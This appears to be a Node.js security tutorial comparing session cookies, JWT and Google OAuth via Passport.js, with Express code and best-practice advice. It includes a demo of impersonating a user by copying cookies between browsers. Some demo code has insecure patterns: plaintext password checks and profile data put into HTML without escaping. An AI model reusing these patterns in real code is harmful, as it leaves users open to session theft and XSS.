Node.js Security

⚠️ The Fundamental Problem: HTTP is Stateless

⚠️

Before diving into authentication strategies, you must understand a fundamental limitation of HTTP that shapes how we build web applications.

HTTP is stateless. This means that each HTTP request is completely independent and isolated. The server doesn't remember anything about previous requests. If a user logs in and then makes another request immediately after, the server has no idea who that user is on the second request.

⚠️
The Stateless Problem
  • No memory: Each request is brand new - the server remembers nothing from previous requests.
  • No context: User identity, preferences, shopping cart, login status - all gone between requests.
  • No persistence: Without a mechanism to maintain state, every interaction would require re-authentication.

So how do we solve this? How can we build applications where users log in once and stay logged in? How do we maintain shopping carts, user preferences, and session data across multiple requests?

πŸ’‘ The answer: we need mechanisms to identify and remember users across multiple HTTP requests. The following sections explain the main approaches.

πŸ” Solutions: Authentication Strategies

To address the stateless nature of HTTP, we use authentication mechanisms that allow the server to identify users across requests. The most common strategies are sessions (cookies + server state), JWT (self-contained tokens), and third‑party identity providers (OAuth 2.0 / OpenID Connect).

πŸͺ
Sessions
Server keeps a session; client stores only an ID cookie.
JWT
Self-contained token signed by the server; stateless.
πŸ”—
Third‑Party
Login with Google, GitHub, etc. via OAuth/OIDC.
πŸ’‘
When to use what?
πŸͺ Sessions

Best for: Traditional web apps, server-side rendering (SSR), dashboards, admin panels.

βœ… Advantages: Easy to revoke (logout), small cookie size, server controls all data, can store any data type.

⚠️ Challenges: Requires shared session store (Redis, database) for multiple servers, memory overhead, horizontal scaling complexity, sticky sessions may be needed.

🎫 JWT (JSON Web Tokens)

Best for: REST APIs, microservices, mobile apps, SPAs (Single-Page Applications), distributed systems.

βœ… Advantages: Stateless (no server storage), easy horizontal scaling, works across domains (CORS-friendly), contains user data (claims), perfect for microservices.

⚠️ Challenges: Larger size (sent with every request), can't revoke before expiry without blacklist, token refresh complexity, XSS vulnerabilities if stored in localStorage, must handle token expiration.

πŸ”— Third-Party Providers (OAuth/OIDC)

Best for: Consumer-facing apps, social features, quick onboarding, mobile apps, reducing security burden.

βœ… Advantages: No password management, better UX (one-click login), reduced security liability, trusted identity verification, access to user profile data.

⚠️ Challenges: Dependency on third-party availability, OAuth flow complexity, requires external provider account, privacy concerns, rate limits from providers.

πŸ’‘ Pro Tip: Many production apps use hybrid approaches β€” e.g., sessions for web dashboard + JWT for mobile API, or sessions with Redis cluster for scalability. Choose based on your architecture and scaling needs.

πŸͺ Session-based Authentication

Sessions solve the stateless problem by storing user data on the server and sending a small session ID cookie to the client. The browser automatically includes this cookie in every request.

πŸͺ What is a Cookie?

A cookie is a small piece of data that the server sends to the browser via the Set-Cookie HTTP header. The browser automatically stores it and sends it back with every subsequent request to the same domain. This automatic mechanism is what makes sessions work!

Think of it as a pact between server and browser: the server says "remember this ID", and the browser faithfully includes it in every future request. No JavaScript needed - it's all automatic!

πŸ’‘
How Sessions Work
  • Server creates session: After login, server generates unique session ID and stores user data.
  • Cookie sent: Server sends session ID to browser via Set-Cookie header.
  • Automatic inclusion: Browser includes the cookie in every request automatically.
  • Server recognizes user: Server reads session ID from cookie and retrieves user data.

πŸ”„ Session Flow - Visual Demonstration

Here's how the session mechanism works step by step:

Initial State
User wants to login. No session cookie exists yet.
🌐 Browser Client Side πŸͺ Cookie Jar Empty πŸ‘€ User Activity Browsing website Making requests Cookies auto-sent πŸ–₯️ Server Node.js Backend πŸ’Ύ Data Store (Database/Cache) Empty πŸ” Request Handler 1. Read Cookie header 2. Process request 3. Decide Set-Cookie? 4. Send response GET /page Cookie header: (may be empty or contain cookies) πŸ“– Reading... Checking cookies βš™οΈ Processing Handling request 200 OK βœ“ Set-Cookie Header: id=abc123; theme=dark; HttpOnly; Secure; Max-Age=604800 πŸͺ Stored! GET /another-page Cookie Header: id=abc123; theme=dark βœ“ Auto-sent! βœ“ Cookies Read! id: abc123 theme: dark 200 OK βœ“ Response data (Optional: more Set-Cookie headers can be sent) βœ“ Complete!

πŸͺ Real Example: Visit Counter with Cookies

Let's see how cookies work in practice with a simple visit counter. The server sends a cookie, and the browser automatically includes it in future requests:

πŸ“ Basic Example (Manual Cookie Handling): This shows the raw HTTP mechanism. You manually parse and set cookies.

const express = require('express');
const app = express();

app.get('/', (req, res) => {
  // Read the visit count from the cookie (browser auto-sends it)
  let visits = parseInt(req.headers.cookie?.split('visits=')[1]) || 0;
  visits++;
  
  // Server CHOOSES to send a cookie with the updated count
  res.setHeader('Set-Cookie', `visits=${visits}; Max-Age=86400; HttpOnly`);
  
  res.send(`
    <h1>Welcome! Visit #${visits}</h1>
    <p>Cookie: visits=${visits}</p>
    <p>Refresh the page - the browser will auto-send this cookie!</p>
  `);
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));
πŸš€ Better Way: Using cookie-parser

The cookie-parser middleware makes reading and setting cookies much cleaner. It automatically parses cookies into an object.

# Install cookie-parser
npm install express cookie-parser
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();

// Enable cookie parsing
app.use(cookieParser());

app.get('/', (req, res) => {
  // ✨ Much cleaner! Read cookie directly from req.cookies object
  let visits = parseInt(req.cookies.visits) || 0;
  visits++;
  
  // ✨ Use res.cookie() method with options object
  res.cookie('visits', visits, {
    maxAge: 86400000,  // 24 hours in milliseconds
    httpOnly: true,    // Prevents JavaScript access
    sameSite: 'lax'    // CSRF protection
  });
  
  res.send(`
    <h1>Welcome! Visit #${visits}</h1>
    <p>Cookie: visits=${visits}</p>
    <p>Refresh the page - the browser will auto-send this cookie!</p>
  `);
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));
βœ…
Benefits of cookie-parser:
  • Cleaner code: Access cookies as req.cookies.name instead of parsing headers manually.
  • Easy to set: Use res.cookie(name, value, options) with a clear options object.
  • Delete cookies: Simple res.clearCookie('name') method.
  • Signed cookies: Built-in support for cryptographically signed cookies for tamper detection.
πŸ”
How It Works
  1. 1️⃣ First visit: No cookie exists. Server responds with Set-Cookie: visits=1. Browser stores it automatically.
  2. 2️⃣ Second visit: Browser automatically includes Cookie: visits=1 in the request header. Server reads it, increments to 2, sends Set-Cookie: visits=2.
  3. 3️⃣ Every request: Browser keeps auto-sending the cookie. Server can choose to update it or not.
  4. ✨ No JavaScript needed: The entire cookie mechanism is built into HTTP. Browsers handle it automatically!

🚨 Critical warning: stolen cookie = stolen identity If someone steals your session cookie value and adds it into their own browser, the server will treat them as you until the session expires or is revoked. Cookies are credentials.

πŸ§ͺ
Quick demo test (safe): copy a cookie to β€œbecome the same user”

Use the visit counter cookie example above to see the idea in action:

πŸ”§ How to view/copy cookies in DevTools:

Chrome/Edge: F12 β†’ Application tab β†’ Cookies (left sidebar) β†’ select your domain β†’ see cookie name/value. Right-click to copy or edit.

Firefox: F12 β†’ Storage tab β†’ Cookies β†’ select your domain β†’ see all cookies with names and values.

Quick console command: type document.cookie in the Console tab to see all cookies (except HttpOnly ones).

  1. Browser A: open the page and refresh a few times (counter increases).
  2. Browser B / Incognito: open the same page β€” the counter starts β€œfresh” because there is no cookie yet.
  3. Copy the cookie value: take visits from Browser A and set the same cookie in Browser B.
  4. Refresh in Browser B: the counter continues because the server thinks it’s the same β€œcookie identity”.

Same principle with authentication: if you copy a real session cookie like sid, you can impersonate the user.

🧩
Use cases for session techniques (quick examples)

Where you’ll commonly see cookies / sessions / tokens used, without going into implementation details:

  • Logged-in areas: keep a user authenticated across page loads (dashboard, admin, back office).
  • Multi-step flows: store temporary state for a wizard (checkout, onboarding, forms).
  • Shopping carts: remember cart contents before account creation or between visits.
  • Personalization: save preferences like language, theme, or layout.
  • Security protections: CSRF tokens, device trust flags, β€œremember this device”.
  • API access: stateless tokens (e.g., JWT) for mobile apps or distributed services.

πŸ” Detailed use case: authentication with sessions (cookie + server state)

Scenario: a web app where users log in once, then the browser automatically sends a secure cookie on every request. The server uses that cookie to look up the user session.

🧭
Request flow (step-by-step)
  1. POST /login: user submits credentials. Server verifies them and creates a new session record.
  2. Set-Cookie: server sends a session identifier cookie (e.g., sid) with HttpOnly, Secure, SameSite, and an expiration.
  3. GET /profile: browser auto-sends Cookie: sid=.... Server reads it and loads the session to identify the user.
  4. Session expiry: once expired (or deleted), the server treats the user as logged out and requires login again.
  5. POST /logout: server deletes the session and clears the cookie.

πŸ“ Note: This is a simplified teaching example using an in-memory session store. In production you typically use a shared store (Redis/DB) so multiple servers can validate the same sessions.

const express = require('express');
const cookieParser = require('cookie-parser');
const crypto = require('crypto');

const app = express();
app.use(express.json());
app.use(cookieParser());

// Demo session store (in-memory)
// sid -> { userId, createdAt }
const sessions = new Map();

// Demo user database
const users = [{ id: 1, email: 'demo@example.com', password: 'password123' }];

function createSession(userId) {
  const sid = crypto.randomUUID();
  sessions.set(sid, { userId, createdAt: Date.now() });
  return sid;
}

function requireSession(req, res, next) {
  const sid = req.cookies.sid;
  if (!sid) return res.status(401).json({ error: 'Not authenticated' });
  const session = sessions.get(sid);
  if (!session) return res.status(401).json({ error: 'Invalid or expired session' });
  req.userId = session.userId;
  next();
}

app.post('/login', (req, res) => {
  const { email, password } = req.body;
  const user = users.find(u => u.email === email);
  if (!user || user.password !== password) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  const sid = createSession(user.id);

  // Browser stores this cookie; it will be auto-sent on future requests
  res.cookie('sid', sid, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 1000 * 60 * 60 * 24 * 7 // 7 days
  });

  res.json({ ok: true });
});

app.get('/profile', requireSession, (req, res) => {
  res.json({ userId: req.userId, message: 'You are authenticated via session' });
});

app.post('/logout', (req, res) => {
  const sid = req.cookies.sid;
  if (sid) sessions.delete(sid);
  res.clearCookie('sid');
  res.json({ ok: true });
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));

JSON Web Tokens are signed tokens containing claims. The server verifies the signature without storing session state, which makes JWT ideal for APIs and distributed systems.

JSON Web Tokens: Self-Contained Authentication

Unlike sessions, JWT doesn't require server-side storage. The token itself contains all the information needed to identify and authorize a user. Think of it as a digitally-signed passport that proves your identity without needing to check a central database.

🎯 Perfect for

APIs, mobile apps, microservices, and distributed systems where centralized session storage would be a bottleneck.

πŸ›‚ JWT as a β€œPassport” (Analogy)

Think of a JWT like a passport you show at every border crossing. A passport is self-contained: it already includes identity information (name, nationality, date of birth) so the border agent can make a decision without calling your home country for every crossing.

The cryptographic signature on a JWT is like the passport’s official security features (stamps, holograms, machine‑readable zone): it doesn’t hide the information, but it lets the agent verify that the document was issued by a trusted authority and that the content wasn’t tampered with.

⚠️
Important difference vs a passport
  • If someone steals your JWT, they can use it until it expires (just like a stolen passport can be abused).
  • A JWT is not encrypted by default: anyone who holds the token can read its payload. Don’t put secrets in it.

🧩 What’s inside a JWT?

A JWT is typically a JWS (JSON Web Signature): three Base64URL-encoded parts separated by dots: header.payload.signature.

πŸ”Ž
The 3 parts
  • Header: metadata like the algorithm (alg) and token type (typ).
  • Payload: the claims (data) such as user ID, roles, expiration.
  • Signature: proves integrity + authenticity (the payload can’t be modified without detection).

🏷️ Claims: the data JWT can store

The payload can store information called claims. Some are standardized (registered claims), and you can also add custom claims.

🧾
Common registered claims
  • sub (subject): usually the user ID.
  • exp (expiry): when the token stops being valid.
  • iat (issued at) and nbf (not before): time bounds.
  • iss (issuer) and aud (audience): who issued it and who it’s for.
  • jti (JWT ID): unique identifier (useful for revocation/rotation lists).

πŸ” Signature & cryptography (the core security)

The server creates the signature by taking Base64URL(header) + "." + Base64URL(payload), then signing that bytestring with a secret (symmetric) or a private key (asymmetric). When the server receives the token, it recomputes/verifies the signature. If the payload was changed, verification fails.

🧠
Typical algorithms
  • HS256: HMAC + SHA‑256 (one shared secret used to sign and verify).
  • RS256: RSA + SHA‑256 (private key signs; public key verifies β€” great for microservices).
  • ES256: ECDSA + SHA‑256 (smaller keys/signatures, common in modern systems).
🧨
Signing β‰  encryption

A signed JWT (JWS) protects against tampering, but does not hide the payload. If you need confidentiality, you’re talking about JWE (encrypted JWT) or simply not putting sensitive data in the token.

βœ… What to store (and what NOT to store)

βœ… Good candidates (keep it minimal)

User identifier: sub (e.g., user ID).

Authorization hints: roles/scopes (only if your model can tolerate them being β€œstale” until expiry).

Safety metadata: iss, aud, exp, and optionally jti.

β›” Never put this in a JWT payload

Secrets: passwords, API keys, refresh tokens, private data you don’t want exposed.

Big blobs: profile objects, permissions lists that make tokens huge.

🧯 Common JWT pitfalls (real-world)

Over-trusting the payload: always verify the signature first; never β€œdecode and trust”.

Long-lived access tokens: increase the blast radius if stolen.

Not validating issuer/audience: tokens from another environment/app might be accepted.

Storing tokens in localStorage: XSS can steal them. Prefer in-memory or HttpOnly cookies depending on your architecture.

Algorithm/key confusion: lock down allowed algorithms and manage key rotation carefully.

πŸ” Decode a JWT (read its content)

Paste a JWT string below to decode its header and payload. This is useful to understand what’s inside a token.

πŸ” Optional: if provided and alg=HS256, the decoder can re-sign the token after edits and verify signatures. Don’t paste production secrets.

🧠 Note: decoding shows the data, but it does not verify the signature. If you edit the header/payload, the signature becomes invalid.

Header
Payload

βš™οΈ Building JWT Authentication: Step-by-Step

Let's build a complete JWT authentication system from scratch. We'll go step-by-step, explaining each component before implementing it.

1
Install Required Packages

We need four packages: express for the server, jsonwebtoken to create and verify tokens, bcrypt for password hashing, and dotenv to manage secrets securely.

# Install packages
npm install express jsonwebtoken dotenv bcrypt cors
2
Understand Password Hashing (Critical Security)

Before writing any authentication code, we must understand why and how to store passwords securely. This is the foundation of user security.

πŸ§‚
Password hashing (bcrypt) and why salt matters
β›”
Never store passwords in plain text. Also avoid fast hashes like SHA-256 for passwords. Password hashing must be slow to resist brute force.
What is bcrypt?

bcrypt is a password-hashing function designed for passwords. It automatically uses a unique salt per password. Salt means two users with the same password still get different hashes (defeats rainbow tables and prevents β€œsame password” leaks).

How does salt work?

You do not store the salt separately: bcrypt encodes the algorithm + cost + salt inside the hash string. When you call bcrypt.compare(password, storedHash), bcrypt reads the salt/cost from storedHash and verifies correctly.

πŸ’‘ Example: Same password β†’ Different hashes
// await bcrypt.hash('password123', 12) -> $2b$12$...A...
// await bcrypt.hash('password123', 12) -> $2b$12$...B...  (different because salt differs)
βš™οΈ
Cost (salt rounds): higher = slower (more secure, but more CPU). For demos 10 is common; in production, choose based on your infra (often 12–14).
3
Create the Authentication Server

Now let's put it all together. This server includes: user login with password verification, access token generation (short-lived), refresh token generation (long-lived), protected route middleware, and token refresh endpoint.

πŸ“‹ What this code does:
  • Lines 1-7: Setup and imports
  • Lines 9-11: Mock user database with hashed password
  • Lines 13-24: Token signing functions (access + refresh)
  • Lines 26-34: Login endpoint with bcrypt verification
  • Lines 36-46: Auth middleware for protected routes
  • Lines 48-56: Token refresh endpoint
require('dotenv').config();
const express = require('express');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const cors = require('cors');

const app = express();
app.use(express.json());
app.use(cors({ origin: 'http://localhost:5173', credentials: true }));

const users = [{ id: 1, email: 'demo@example.com', passwordHash: '' }];
const saltRounds = 10; // Demo value; choose higher in production based on your infra
(async () => { users[0].passwordHash = await bcrypt.hash('password123', saltRounds); })();

function signAccessToken(user) {
  return jwt.sign({ sub: user.id, email: user.email }, process.env.JWT_SECRET, {
    expiresIn: '15m',
    issuer: 'your-app'
  });
}

function signRefreshToken(user) {
  return jwt.sign({ sub: user.id }, process.env.JWT_REFRESH_SECRET, {
    expiresIn: '7d',
    issuer: 'your-app'
  });
}

app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = users.find(u => u.email === email);
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });
  const ok = await bcrypt.compare(password, user.passwordHash);
  if (!ok) return res.status(401).json({ error: 'Invalid credentials' });
  const accessToken = signAccessToken(user);
  const refreshToken = signRefreshToken(user);
  res.json({ accessToken, refreshToken });
});

function requireAuth(req, res, next) {
  const header = req.headers.authorization || '';
  const token = header.startsWith('Bearer ') ? header.slice(7) : null;
  if (!token) return res.status(401).json({ error: 'Missing token' });
  try {
    req.user = jwt.verify(token, process.env.JWT_SECRET);
    next();
  } catch (e) {
    return res.status(401).json({ error: 'Invalid or expired token' });
  }
}

app.post('/token/refresh', (req, res) => {
  const { refreshToken } = req.body;
  try {
    const payload = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET);
    const accessToken = jwt.sign({ sub: payload.sub }, process.env.JWT_SECRET, { expiresIn: '15m' });
    res.json({ accessToken });
  } catch {
    res.status(401).json({ error: 'Invalid refresh token' });
  }
});

app.get('/profile', requireAuth, (req, res) => {
  res.json({ id: req.user.sub, email: 'demo@example.com' });
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));
4
🧭 JWT Security Best Practices

Now that you have a working implementation, let's reinforce the security practices that make the difference between a vulnerable system and a production-ready one.

⏱️
1. Keep access tokens short-lived

Why: If an access token is stolen, a short expiration time limits how long an attacker can use it. Typical access token lifetimes: 5-15 minutes.

Use refresh tokens: Long-lived refresh tokens (7-30 days) allow users to get new access tokens without re-authenticating. Store refresh tokens more securely than access tokens (e.g., HttpOnly cookies or encrypted database).

// Access token: short-lived
const accessToken = jwt.sign(payload, SECRET, { expiresIn: '15m' });

// Refresh token: long-lived, minimal claims
const refreshToken = jwt.sign({ sub: user.id }, REFRESH_SECRET, { 
  expiresIn: '7d' 
});
πŸ”’
2. Store tokens securely

⚠️ Avoid localStorage: Any JavaScript (including malicious scripts from XSS attacks) can read localStorage. This makes it vulnerable to token theft.

βœ…
Better options:
  • In-memory (SPA): Store tokens in JavaScript variables. They disappear on page refresh (use refresh token to get a new one). Protected from XSS if refresh token is in HttpOnly cookie.
  • HttpOnly cookies: Server sets cookies that JavaScript cannot access. Best for traditional web apps. Protects against XSS but requires CSRF protection.
  • Secure + SameSite cookies: Add Secure (HTTPS only) and SameSite=Strict or Lax for additional protection.
πŸ”„
3. Rotate refresh tokens & support revocation

Rotation: Issue a new refresh token each time it's used, and invalidate the old one. This limits the window of vulnerability if a refresh token is compromised.

Revocation: Keep a server-side list (Redis, database) of revoked tokens or user sessions. Check this list when verifying tokens. This allows you to immediately revoke access if needed (logout, suspicious activity, password change).

// Example: Token revocation list
const revokedTokens = new Set(); // In production: use Redis

function isTokenRevoked(jti) {
  return revokedTokens.has(jti);
}

// When user logs out or security event occurs
function revokeToken(jti) {
  revokedTokens.add(jti);
}

// In your auth middleware
function requireAuth(req, res, next) {
  const token = extractToken(req);
  const decoded = jwt.verify(token, SECRET);
  
  if (isTokenRevoked(decoded.jti)) {
    return res.status(401).json({ error: 'Token revoked' });
  }
  
  req.user = decoded;
  next();
}
🚨 Additional Security Tips

Validate all claims: Always verify iss (issuer), aud (audience), and exp (expiration) to prevent token misuse across environments.

Use strong secrets: JWT secrets should be long (at least 256 bits), random, and stored in environment variablesβ€”never hardcoded.

Limit allowed algorithms: Explicitly specify which algorithms are allowed (e.g., algorithms: ['HS256']) to prevent algorithm confusion attacks.

Use HTTPS everywhere: JWTs transmitted over HTTP can be intercepted. Always use TLS/SSL in production.

Monitor for suspicious activity: Track failed login attempts, token refresh patterns, and unusual access patterns.

πŸ”— Third-Party Authentication (OAuth 2.0)

Instead of managing passwords yourself, delegate authentication to trusted providers like Google, GitHub, or Microsoft. Users click "Login with Google" and you receive verified identity information without ever seeing their password.

πŸ” Why Use Third-Party Authentication?

πŸ”’
No Passwords to Manage

You never store or handle user passwords. The provider handles authentication security, including 2FA, breach detection, and password policies.

⚑
Better User Experience

One-click login with accounts users already have. No new password to remember, no email verification needed.

βœ…
Verified Identity

Google/GitHub have already verified the user's email. You get trusted identity data without extra verification steps.

πŸ›‘οΈ
Reduced Security Liability

If there's a breach, you don't have password hashes to worry about. The attack surface is significantly smaller.

πŸ“š Key Terminology

Before diving into the flow, let's clarify the actors and terms you'll encounter:

πŸ“–
OAuth 2.0 / OpenID Connect Terms
  • Resource Owner: The user who owns the data and grants access.
  • Client: Your application that wants to access user data.
  • Authorization Server: The provider (Google, GitHub) that authenticates the user and issues tokens.
  • Resource Server: The API that holds the user's data (often same as auth server for identity).
  • Authorization Code: A temporary code exchanged for tokens (never exposed to browser).
  • Access Token: Short-lived token to access APIs on behalf of the user.
  • ID Token: (OpenID Connect) A JWT containing user identity claims.
  • Scope: Permissions requested (e.g., email, profile, openid).
πŸ’‘ OAuth 2.0 vs OpenID Connect

OAuth 2.0 is about authorization β€” granting access to resources ("Can this app read my files?").

OpenID Connect (OIDC) is built on top of OAuth 2.0 and adds authentication β€” proving identity ("Who is this user?").

When you "Login with Google," you're using OpenID Connect. It returns an id_token (JWT) with user info.

πŸ”„ The Authorization Code Flow (Visual)

This is the most secure OAuth flow for web applications. The authorization code is exchanged server-side, keeping tokens away from the browser.

Step 0
Initial State
User wants to login. Click "Play" or "Next Step" to see the OAuth flow.
πŸ‘€ User (Browser) πŸ–±οΈ Clicks "Login with Google" πŸ–₯️ Your App (Node.js Server) πŸ“‹ Has Client ID + Secret πŸ” Google (Auth Provider) πŸ”‘ Issues Tokens + User Info 1️⃣ Click 2️⃣ Redirect to Google ?client_id=...&redirect_uri=... 3️⃣ User logs in & grants permission 4️⃣ Redirect to callback /callback?code=AUTH_CODE 5️⃣ Exchange code β†’ tokens 6️⃣ Tokens access_token id_token (user info) πŸͺ 7️⃣ Session + Cookie Server stores: {user: googleId} Set-Cookie: sid=abc123 Browser auto-sends cookie on requests! βœ“
πŸ”
Why Authorization Code Flow is Secure
  • Code exchanged server-side: The authorization code is exchanged for tokens on your server, never exposed to the browser.
  • Client secret kept private: Your client secret never leaves your server, preventing impersonation.
  • Short-lived code: The authorization code expires quickly (usually 10 minutes) and can only be used once.

βš™οΈ Building OAuth with Passport.js: Step-by-Step

Let's implement Google OAuth login using Passport.js, the most popular authentication middleware for Node.js. We'll handle the entire flow from "Login with Google" button to authenticated session.

1
Create Google OAuth Credentials

Before writing any code, you need to register your app with Google and get credentials.

  1. Go to Google Cloud Console
  2. Create a new project (or select existing)
  3. Navigate to APIs & Services β†’ Credentials
  4. Click Create Credentials β†’ OAuth client ID
  5. Select Web application
  6. Add authorized redirect URI: http://localhost:3000/auth/google/callback
  7. Copy your Client ID and Client Secret

⚠️ Keep secrets safe: Never commit your Client Secret to git. Use environment variables.

2
Install Required Packages

We need Express for the server, Passport for authentication, and the Google OAuth strategy.

# Install packages
npm install express passport passport-google-oauth20 express-session dotenv
  • passport β€” Authentication middleware
  • passport-google-oauth20 β€” Google OAuth 2.0 strategy
  • express-session β€” Session management for storing user state
  • dotenv β€” Load environment variables from .env file
3
Configure Environment Variables

Create a .env file in your project root with your Google credentials.

# .env file (add to .gitignore!)
GOOGLE_CLIENT_ID=your-client-id-here.apps.googleusercontent.com
GOOGLE_CLIENT_SECRET=your-client-secret-here
SESSION_SECRET=your-random-session-secret-at-least-32-chars
BASE_URL=http://localhost:3000
4
Create the Complete Server

Here's a complete working example. We'll break down each part below.

πŸ“‹ What this code does:
  • Lines 1-7: Imports and Express setup
  • Lines 9-17: Session configuration
  • Lines 19-40: Passport Google strategy setup
  • Lines 42-48: Serialize/deserialize user for sessions
  • Lines 50-60: OAuth routes (login, callback, logout)
  • Lines 62-75: Protected route + home page
require('dotenv').config();
const express = require('express');
const session = require('express-session');
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;

const app = express();

// Session setup (required for Passport)
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: { 
    secure: process.env.NODE_ENV === 'production', // HTTPS only in prod
    maxAge: 24 * 60 * 60 * 1000 // 24 hours
  }
}));

// Initialize Passport
app.use(passport.initialize());
app.use(passport.session());

// Configure Google Strategy
passport.use(new GoogleStrategy({
    clientID: process.env.GOOGLE_CLIENT_ID,
    clientSecret: process.env.GOOGLE_CLIENT_SECRET,
    callbackURL: `${process.env.BASE_URL}/auth/google/callback`
  },
  // This function is called after successful authentication
  function(accessToken, refreshToken, profile, done) {
    // In production: find or create user in your database
    // For demo: just use the Google profile directly
    const user = {
      id: profile.id,
      email: profile.emails?.[0]?.value,
      name: profile.displayName,
      avatar: profile.photos?.[0]?.value
    };
    return done(null, user);
  }
));

// Serialize user to session (what to store)
passport.serializeUser((user, done) => {
  done(null, user); // Store entire user object (or just ID in production)
});

// Deserialize user from session (how to retrieve)
passport.deserializeUser((user, done) => {
  done(null, user); // In production: fetch user from DB by ID
});

// ===== ROUTES =====

// Start OAuth flow - redirects user to Google
app.get('/auth/google', 
  passport.authenticate('google', { 
    scope: ['profile', 'email'] // What data we want
  })
);

// Google redirects here after user authenticates
app.get('/auth/google/callback',
  passport.authenticate('google', { 
    failureRedirect: '/login-failed',
    successRedirect: '/profile'
  })
);

// Logout
app.get('/logout', (req, res) => {
  req.logout((err) => {
    if (err) return res.status(500).json({ error: 'Logout failed' });
    res.redirect('/');
  });
});

// Middleware to check if user is authenticated
function requireAuth(req, res, next) {
  if (req.isAuthenticated()) return next();
  res.redirect('/');
}

// Protected route - only accessible when logged in
app.get('/profile', requireAuth, (req, res) => {
  res.send(`
    <h1>Welcome, ${req.user.name}!</h1>
    <img src="${req.user.avatar}" width="100" style="border-radius:50%">
    <p>Email: ${req.user.email}</p>
    <p>Google ID: ${req.user.id}</p>
    <a href="/logout">Logout</a>
  `);
});

// Home page with login button
app.get('/', (req, res) => {
  if (req.isAuthenticated()) {
    res.redirect('/profile');
  } else {
    res.send(`
      <h1>Welcome!</h1>
      <a href="/auth/google" style="...">Login with Google</a>
    `);
  }
});

app.get('/login-failed', (req, res) => {
  res.send('<h1>Login Failed</h1><a href="/">Try Again</a>');
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));
5
How It Works (Code Walkthrough)
1 User clicks "Login with Google"

Browser navigates to /auth/google. Passport redirects to Google's authorization page with your client ID, redirect URI, and requested scopes.

2 User authenticates with Google

Google shows a consent screen asking the user to grant your app access to their profile and email. The user clicks "Allow".

3 Google redirects to callback

Google redirects to /auth/google/callback?code=ABC123. The authorization code is in the URL.

4 Passport exchanges code for tokens

Passport makes a server-side request to Google with the code + your client secret. Google returns access token + ID token.

5 Your callback function runs

The strategy callback receives the tokens and profile. You create/find the user and pass to done().

6 Session created, user logged in

serializeUser stores the user in the session. User is redirected to /profile with a session cookie.

🚨 OAuth Security Best Practices

Use the state parameter: Pass a random value in the auth request and verify it in the callback to prevent CSRF attacks. Passport handles this automatically.

Validate the ID token: If using the ID token directly, verify its signature and claims (issuer, audience, expiry).

Use PKCE for public clients: For SPAs or mobile apps without a secret, use Proof Key for Code Exchange (PKCE).

Limit scopes: Only request the permissions you need. Asking for too much reduces trust.

Store tokens securely: If you need the access token later, encrypt it in your database. Never expose it to the client.

⚠️ When OAuth May Not Be the Best Fit

Internal enterprise apps: If users are all employees, use your company's identity provider (LDAP, Active Directory) directly.

Offline-first applications: OAuth requires internet access to authenticate. For offline apps, consider local auth with sync.

B2B with existing accounts: If business clients already have credentials in your system, adding OAuth may confuse them.

Privacy-sensitive apps: Some users don't want to link their Google/social accounts to certain types of apps.

Provider dependency: If Google/GitHub goes down, your users can't log in. Consider offering email/password as a fallback.

πŸ”§
Common Issues & Fixes
  • "redirect_uri_mismatch" error: The callback URL in your code must exactly match what you registered in Google Console (including http vs https, port, and trailing slashes).
  • "Failed to serialize user": Make sure serializeUser and deserializeUser are defined before any routes.
  • Session not persisting: Check that express-session is configured before passport.session() middleware.
  • User is undefined after login: Ensure your callback function passes the user to done(null, user), not just the profile.
  • Works locally but not in production: Set cookie.secure: true and ensure you're using HTTPS. Also check trust proxy if behind a reverse proxy.

πŸš€ Going to Production

Our demo stored the user object directly in the session. For production, you'll want to:

1 Store users in a database

Create a users table with id, googleId, email, name, createdAt. On login, find by googleId or create if new.

2 Serialize only the user ID

In serializeUser, store just user.id. In deserializeUser, fetch the full user from your database. This keeps sessions small.

3 Use a session store

Replace the default in-memory store with Redis (connect-redis) or your database (connect-pg-simple). Memory store doesn't scale!

4 Support multiple providers

Add columns like githubId, microsoftId. Users can link multiple providers to one account. Match by email to link existing accounts.

πŸ”— How OAuth Connects to Sessions & JWT

OAuth + Sessions (what we built): After OAuth authenticates the user, we use a traditional session cookie to keep them logged in. This is the most common approach for web apps.

OAuth + JWT: Instead of sessions, you could issue your own JWT after OAuth. Useful for stateless APIs or when you need the token on multiple servers.

Key insight: OAuth only handles the initial authentication ("Who is this?"). After that, you still need sessions or JWT to remember the user across requests!

πŸ”—
Other Popular Providers

The same pattern works with other providers using different Passport strategies:

  • passport-github2 β€” GitHub OAuth
  • passport-microsoft β€” Microsoft/Azure AD
  • passport-facebook β€” Facebook Login
  • passport-twitter β€” Twitter OAuth
  • passport-apple β€” Sign in with Apple

βš–οΈ Sessions vs JWT vs OAuth: When to Use Which?

Now that we've covered all three authentication approaches, let's put them side by side. Understanding when to use each method is crucial for building secure, scalable applications.

πŸͺ
Sessions

Server remembers you

  • βœ… Great web UX; browsers handle cookies automatically.
  • βœ… HttpOnly cookies reduce XSS token theft risk.
  • βœ… Easy instant logout (just delete session).
  • ⚠️ Scaling needs a shared session store.
  • ⚠️ Cookies don't work well on mobile apps.
JWT

Token carries your identity

  • βœ… Ideal for APIs, mobile apps, microservices.
  • βœ… Stateless verification; no DB lookup per request.
  • βœ… Scales horizontally without shared state.
  • ⚠️ Revocation requires extra infrastructure.
  • ⚠️ Token storage decisions are on you.
πŸ”—
OAuth 2.0

Someone else verifies identity

  • βœ… Users trust Google/GitHub more than new apps.
  • βœ… No password storage liability for you.
  • βœ… One-click signup improves conversion.
  • ⚠️ Dependent on third-party availability.
  • ⚠️ More complex setup and token handling.
🧭

Quick Decision Guide

❓ Do you need to access third-party APIs on behalf of users?
β†’ Yes: Use OAuth 2.0 (e.g., read user's Google Calendar, post to their Twitter)
β†’ No: Continue below ↓
❓ Do you want social login (Login with Google/GitHub)?
β†’ Yes: Use OAuth 2.0 for authentication, then create a session or JWT for your app
